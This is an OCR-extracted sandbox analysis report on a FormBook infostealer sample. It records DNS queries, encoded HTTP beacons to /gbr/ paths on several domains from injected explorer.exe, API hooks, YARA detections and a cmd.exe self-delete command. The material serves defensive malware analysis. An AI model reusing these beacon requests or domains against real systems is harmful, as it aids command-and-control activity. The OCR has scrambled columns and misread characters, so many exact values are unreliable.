Jan 27, 2021 07:59:05.902718067 CET
Jan 27, 2021 07:59:28.835100889 CET
Jan 27, 2021 07:59:50.007734060 CET
Jan 27, 2021 08:00:10.439079046 CET
Jan 27, 2021 08:00:30.783189058 CET

Jan 27, 2021 08:00:53.543128967 CET

DNS Answers

Timestamp Source IP

Jan 27, 2021
07:59:05.978482008
CET

8.8.8.8

Jan 27, 2021
07:59:29.020076990
CET

8.8.8.8

Jan 27, 2021
07:59:29.020076990
CET

8.8.8.8

Jan 27, 2021
07:59:50.070718050
CET

8.8.8.8

Jan 27, 2021 8.8.8.8
07:59:50.070718050

CET
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Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Source IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

Oxe40e

0x307f

0x307f

0xb134

0xb134

Source Port
53
50394
53
58530
53
53813
53
63732
53
57344
53
54450
53
59261
53
57151
53
59413
53
60516
53
51649
53
65086
53
56432
53
52929
53
64317
53
61004
53

Dest IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

Dest Port
50463
53
50394
53
58530
53
53813
53
63732
53
57344
53
54450
53
59261
53
57151
53
59413
53
60516
53
51649
53
65086
53
56432
53
52929
53
64317
53
61004

Trans ID

Oxe40e

0x307f

0xb134

Ox6ea8

0x3010

0x8ec

Name

www.plante
rboxgarden
er.com

www.topres
tau.com

toprestau.com

www.bistro
lartichaut.com

bistrolart
ichaut.com

Source IP
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8

OP Code Name

Standard query  www.plante
0) rboxgarden
er.com

Standard query  www.topres
(0) tau.com

Standard query  www.bistro
(0) lartichaut.com

Standard query  www.firstb
0) yphone.com

Standard query  www.xn--fl
(0) lessang-g3a.com

Standard query  www.douyzq
0) dsgl.com

CName Address

none

none

toprestau.com

64.92.125.40

bistrolartichaut.com

34.102.136.180

Dest IP
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5
8.8.8.8
192.168.2.5

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 27, 2021 8.8.8.8 192.168.2.5 Ox6ea8 No error (0) www.firstb 194.245.148.189 A (IP address) IN (0x0001)
08:00:10.508335114 yphone.com

CET

Jan 27, 2021 8.8.8.8 192.168.2.5 0x3010 Server failure (2) www.xn--fl none none A (IP address) IN (0x0001)
08:00:30.906291008 lessang-g3a.com

CET

Jan 27, 2021 8.8.8.8 192.168.2.5 0x8ec Server failure (2) www.douyzq none none A (IP address) IN (0x0001)
08:00:53.785362959 dsgl.com

CET

HTTP Request Dependency Graph

e www.toprestau.com

e www.bistrolartichaut.com

e www.firstbyphone.com

HTTP Packets

Session ID Source IP
0 192.168.2.5
kBytes
Timestamp transferred
Jan 27, 2021 4739
07:59:29.193078995 CET
Jan 27,2021 4749
07:59:31.009610891 CET
Session ID Source IP
1 192.168.2.5
kBytes
Timestamp transferred
Jan 27,2021 4752

07:59:50.114978075 CET
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Source Port

49733

Direction

ouT

Source Port

49735

Direction

ouT

Destination IP Destination Port Process

64.92.125.40 80 C:\Windows\explorer.exe

Data

GET /gbr/?ExIPdj=nhAt8Z8LHJDSJ380PYfO+brGMc7hoePPtOUT7/rkXoSmXfJIRpMQb8gX/3jlaoGmglyg5&8p=F
joPdvKOHVWO HTTP/1.1

Host: www.toprestau.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 27 Jan 2021 06:59:29 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: http://toprestau.com/gbr/?ExIPdj=nhAt8Z8LHJIDSJ380PYfO+brGMc7hoePPtOUT7/rkXoSmXfJRpMQb8gX/3
jlaoGmglyg5&8p=FjoPdvKOHVWO

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 32 0d Oa 0d Oa Od Oa

Data Ascii: 2

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /gbr/?8p=FjoPdvKOHVWO&EXIPdj=Iv22WW|BKqQBYt0GN1Q3exOP7ZZ1MpJKXobvjkOcU9p13POmNXwz/8InM
IRVOTV7WUKT HTTP/1.1

Host: www.bistrolartichaut.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred Direction Data
Jan 27, 2021 4752 IN HTTP/1.1 403 Forbidden
07:59:50.255306959 CET Server: openresty

Date: Wed, 27 Jan 2021 06:59:50 GMT

Content-Type: text/html

Content-Length: 275

ETag: "600b4d20-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process
2 192.168.2.5 49736 194.245.148.189 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jan 27, 2021 4754 ouT GET /gbr/?ExIPdj=9T+hwsCOJ30KUotVp56F20UIcU+kzNAgslJ8t+71ysezeCdqlRydECu9CMdgx5DONzh8&8p=F
08:00:10.558022976 CET joPdvKOHVWO HTTP/1.1

Host: www.firstbyphone.com
Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Jan 27, 2021 4754 IN HTTP/1.1 404 Not Found
08:00:10.607960939 CET Content-Type: text/html

Server: Joker.com HTTP Parking Server

Date: Wed, 27 Jan 2021 07:00:10 GMT

Last-Modified: Wed, 27 Jan 2021 07:00:10 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check= 0, pre-check=0, max-age=3600
Expires: Fri, 01 Jan 2016 00:00:00 GMT

Content-Length: 1840

Connection: Close

Code Manipulations

User Modules

Hook Summary

Function Name Hook Type Active in Processes
PeekMessageA INLINE explorer.exe
PeekMessageW INLINE explorer.exe
GetMessageW INLINE explorer.exe
GetMessageA INLINE explorer.exe
Processes

Process: explorer.exe, Module: user32.dll

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x83 0x3E OxEE
PeekMessageW INLINE 0x48 0x8B 0xB8 0x8B 0XBE OXEE
GetMessageW INLINE 0x48 0x8B 0xB8 0x8B 0XBE OXEE
GetMessageA INLINE 0x48 0x8B 0xB8 0x83 0x3E OxEE
Statistics
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Behavior

@ SPECIFICATION REQUEST.exe
@ SPECIFICATION REQUEST.exe
@ explorer.exe

@ wlanext.exe

® cmd.exe

@ conhost.exe

System Behavior

Click to jump to process

Analysis Process: SPECIFICATION REQUEST.exe PID: 2952 Parent PID: 5680

General
Start time: 07:58:02
Start date: 27/01/2021
Path: C:\Users\user\Desktop\SPECIFICATION REQUEST.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\SPECIFICATION REQUEST.exe'
Imagebase: 0x330000
File size: 939520 bytes
MDS5 hash: E7D7F8B02DD023F31B46E5BB265C7224
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000002.234689042.0000000002A35000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.234997361.00000000039B1000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000000.00000002.234997361.00000000039B1000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.234997361.00000000039B1000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
Reputation: low

File Activities

File Created

Source
File Path Access Attributes Options Completion Count Address  Symbol
C:\Users\user read data or list device directory file | object name collision 1 6DAGCF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path
C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
SPECIFICATION REQUEST.exe.log

File Written

File Path Offset

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\SPECIFICATION
REQUEST.exe.log

File Read

File Path
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

unknown 1400

Access Attributes

read data or list device
directory |
synchronize

read attributes | device
synchronize |

generic write

Length Value

312¢ 2266 7573 69
6f 6e 22 2¢ 22 47 41
4322 2¢ 30 0d Oa 31
2c 22 57 69 6e 52 54
22 2c 22 4e 6f 74 41
707022 2c 31 0d Oa
322c224d696372
6f 73 6f 66 74 2e 56
69 73 75 61 6¢ 42 61
73 69 63 2c 20 56 65
72 73 69 6f 6e 3d 31
30 2e 30 2e 30 2e 30
2c 2043 756¢ 74 75
72 65 3d 6e 65 75 74
72 61 6¢ 2¢ 20 50 75
62 6¢ 69 63 4b 65 79
54 6f 6b 65 6e 3d 62
30 33 66 35 66 37 66
313164353061 33
61 22 2¢ 30 0d Oa 32
2¢ 225379737465
6d 2e 57 69 6e 64 6f
77 73 2e 46 6f 72 6d
73 2¢ 2056 65 72 73
69 6f 6e 3d 34 2e 30
2e 30 2e 30 2c 20 43
756¢ 74 75 72 65 3d
6e 657574 72 61 6¢
2¢ 20 50 75 62 6¢ 69
63 4b 65 79 54 6f 6b
65 6e 3d 62 37 37 61
3563 35363139 33
34 65 30 38 39 22 2¢
30 0d 0a 33 2¢ 22 53
79 73 74 65 6d 2c 20
56 65 72 73 69 6f 6e
3d 34 2e

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse

Completion

object name collision 1

point
synchronous io  success or wait 1
non alert | non
directory file
Ascii Completion

1,"fusion”,"GAC",0..1,"Win success or wait

RT",
"NotApp",1..2,"Microsoft.Vi
sualBasic,
Version=10.0.0.0, Cult
ure=neutral,
PublickeyToken=b0
3f5f7f11d50a3a",0..2,"Syst
em.Windows.Forms,
Version=4.0.0.0,
Culture=neutral,
PublicKkeyTok

en=b77a5c561934e089",0.

.3,"System, Version=4.

Offset Length
unknown 4095
unknown 6135
unknown 176
unknown 4095
unknown 620
unknown 864
unknown 900
unknown 748
unknown 4095
unknown 8171
unknown 4096
unknown 4096

Completion
success or wait
success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
end of file
success or wait

end of file

Source

Count Address

Symbol

6DAGCF06 unknown

6DD7C78D CreateFileW

Source

Count Address

1

Count

Symbol

6DD7C907 WriteFile

Source
Address

6DA45705
6DA45705
6D9A03DE

6DA4CA54
6D9A03DE

6D9A03DE

6D9A03DE

6D9A03DE

6DA45705
6DA45705
6C8B1B4F
6C8B1B4F

Symbol
unknown
unknown

ReadFile

ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile
ReadFile

Analysis Process: SPECIFICATION REQUEST.exe PID: 6104 Parent PID: 2952
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

07:58:04

27/01/2021

C:\Users\user\Desktop\SPECIFICATION REQUEST.exe
true

C:\Users\user\Desktop\SPECIFICATION REQUEST.exe
0x680000

939520 bytes
E7D7F8B02DD023F31B46E5BB265C7224

true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.275652340.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000002.00000002.275652340.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.275652340.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.276091208.0000000001030000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000002.00000002.276091208.0000000001030000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.276091208.0000000001030000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.276039902.0000000000FF0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000002.00000002.276039902.0000000000FF0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.276039902.0000000000FF0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 419E57 NtReadFile
Analysis Process: explorer.exe PID: 3472 Parent PID: 6104
General
Start time: 07:58:09
Start date: 27/01/2021
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

Copyright null 2021

false

0x7ff693d90000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language

high
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Source
File Path Offset Length Completion Count Address Symbol

Analysis Process: wlanext.exe PID: 5964 Parent PID: 3472

General

Start time: 07:58:21

Start date: 27/01/2021

Path: C:\Windows\SysWOW64\wlanext.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\wlanext.exe
Imagebase: 0x1280000

File size: 78848 bytes

MD5 hash: CD1ED9A48316D58513D8ECB2D55B5C04
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.603741374.00000000005B0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.603741374.00000000005B0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.603741374.00000000005B0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.605460849.0000000000D70000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.605460849.0000000000D70000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.605460849.0000000000D70000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.604735296.0000000000C20000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.604735296.0000000000C20000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.604735296.0000000000C20000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 5C9E57 NtReadFile

Analysis Process: cmd.exe PID: 2264 Parent PID: 5964

General

Start time: 07:58:25

Start date: 27/01/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: Ic del 'C:\Users\user\Desktop\SPECIFICATION REQUEST.exe'
Imagebase: 0xal10000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Analysis Process: conhost.exe PID: 1012 Parent PID: 2264
General
Start time: 07:58:25
Start date: 27/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff797770000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high
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